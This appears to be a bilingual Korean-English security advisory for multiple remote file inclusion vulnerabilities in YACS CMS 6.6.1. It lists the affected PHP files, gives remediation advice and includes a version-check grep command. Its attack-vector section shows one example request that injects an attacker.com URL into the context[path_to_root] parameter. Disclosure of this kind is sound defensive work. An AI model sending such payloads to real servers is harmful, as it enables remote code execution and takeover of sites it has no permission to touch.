🇰🇷 한글 설명
YACS CMS 6.6.1에서 context[path_to_root] 파라미터 검증 부재로 인한 원격 파일 포함 취약점입니다. 공격자는 10개의 PHP 파일을 통해 악의적인 파일을 로드하여 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹사이트 관리 프로그램(YACS)의 보안 결함으로, 공격자가 외부 파일을 실행하도록 만들 수 있습니다. 이를 통해 서버를 완전히 장악당할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in Yet Another Community System (YACS) CMS 6.6.1 allow remote attackers to execute arbitrary PHP code via a URL in the context[path_to_root] parameter in (1) articles/populate.php, (2) categories/category.php, (3) categories/populate.php, (4) comments/populate.php, (5) files/file.php, (6) sections/section.php, (7) sections/populate.php, (8) tables/populate.php, (9) users/user.php, and (10) users/populate.php. The articles/article.php vector is covered by CVE-2006-4532.
📍 영향받는 시스템
YACS CMS 6.6.1 이하 버전
⚔️ 공격 벡터
http://target/articles/populate.php?context[path_to_root]=http://attacker.com/ 형태로 악의적 URL을 전송하는 Remote File Inclusion (RFI) 공격
🛡️ 대응 방법
YACS를 6.6.2 이상으로 업그레이드하고, 사용자 입력값에 대한 엄격한 검증 및 화이트리스트 기반 필터링 적용
🔧 검증 코드
결과에 6.6.1이 포함되면 취약한 버전입니다. 6.6.2 이상이면 안전합니다.
grep -i 'version.*6\.6' /var/www/html/yacs/index.php 2>/dev/null || find /var/www -path '*/yacs/*version*' -type f 2>/dev/null | head -3